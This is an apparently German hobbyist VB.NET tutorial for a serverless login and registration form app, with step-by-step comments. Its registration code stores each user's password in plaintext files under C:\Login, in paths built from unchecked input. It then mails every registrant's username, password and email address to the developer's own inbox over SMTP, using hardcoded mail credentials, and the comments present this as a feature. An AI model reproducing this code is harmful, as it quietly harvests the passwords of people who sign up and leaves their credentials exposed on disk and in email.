Login + Registrierung ohne server!

Public Class Form1



    Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Form2.Show() 'die form2 soll geöffnet werden
        Me.Hide() ' die form1 soll versteckt werden also minimiert werden



    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Try
            Dim sa As String
            Dim sb As String
            Dim a As New System.IO.StreamReader("C:\Login\" + TextBox1.Text + "\Username.txt")
            sa = a.ReadLine()
            a.Close() 'erstellt einen ordner unter C: der login heisst und eine textbox die Username heisst wo die namen eurer registrierung gespeichert werden
            Dim b As New System.IO.StreamReader("C:\Login\" + TextBox1.Text + "\Password.txt")
            sb = b.ReadLine()
            b.Close()
            'erstellt einen ordner unter C: der login heisst und eine textbox die Password heisst wo die namen eurer registrierung gespeichert werden

            If TextBox1.Text = sa.ToString Then

                If TextBox2.Text = sb.ToString Then

                    MsgBox("Herzlich Willkommen!" + sa.ToString)
                    Me.Hide()
                    Form3.Show() 'wenn euer account name und euer password exitiert werdet ihr eingelog und eine nachricht erscheint wo Herzlich Willkommen! und euer name hinter steht und die form1 soll minimiert werden und form3 geöffnet werden
                Else

                    MsgBox("Error!Passwort ist falsch.") ' fals euer account password nicht stimmt kommt diese meldung
                End If
            Else


            End If

        Catch ex As Exception
            MsgBox("Error! Der Account existiert nicht.") ' ist dafür da um eine error nachricht zu zeigen falls euer account name nicht vergeben ist



        End Try






    End Sub
End Class

Imports System.Net.Mail ' ist dafür da das die daten euch später per email geschickt werden können
Public Class Form2
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If My.Computer.FileSystem.DirectoryExists("C:\Login\") Then

        Else
            MkDir("C:\Login\")
        End If ' ist dafür da ob es Login schon gibt und falls nicht soll es erstellt werden


        If TextBox1.Text & TextBox2.Text & TextBox3.Text = "" Then
            MsgBox(" Bitte fülle die felder aus") ' ist dafür da um eine error nachricht zu zeigen falls keine felder ausgefüllt worden sind




        End If
        If My.Computer.FileSystem.DirectoryExists("C:\Login\" + TextBox1.Text) Then


            MsgBox("Error! Account ist bereits vergeben") ' ist dafür da um eine error nachricht auszugeben falls der account schon vorhanden ist
        Else
            MkDir("C:\Login\" + TextBox1.Text)

            Dim a As New System.IO.StreamWriter("C:\Login\" + TextBox1.Text + "\Username.txt")


            a.WriteLine(TextBox1.Text)
            a.Close() ' ist dafür da um euren account name zu speichern

            Dim b As New System.IO.StreamWriter("C:\Login\" + TextBox1.Text + "\Password.txt")

            b.WriteLine(TextBox2.Text)
            b.Close()
            ' ist dafür da um euer password zu speichern
            Dim c As New System.IO.StreamWriter("C:\Login\" + TextBox1.Text + "\Email.txt")
            MsgBox("Account wurde erfolgreich erstellt!")
            c.WriteLine(TextBox3.Text)
            c.Close()
            ' ist dafür da um eure email zu speichern


            Me.Hide()
            Form1.Show()
        End If
        ' ist dafür da das form2 minimiert wird und form1 erscheint
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("eure email", "email passwort")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.web.de" ' hier könnt ihr auch z.b smtp.gmx.com oder  so hinschreiben halt die domain eurer email
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("eure email")
        mail.To.Add("eure email")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text & ", " & "Email : " & TextBox3.Text
        smtpServer.Send(mail) ' ist dafür da das der name das password und die email zu eurer email geschickt wird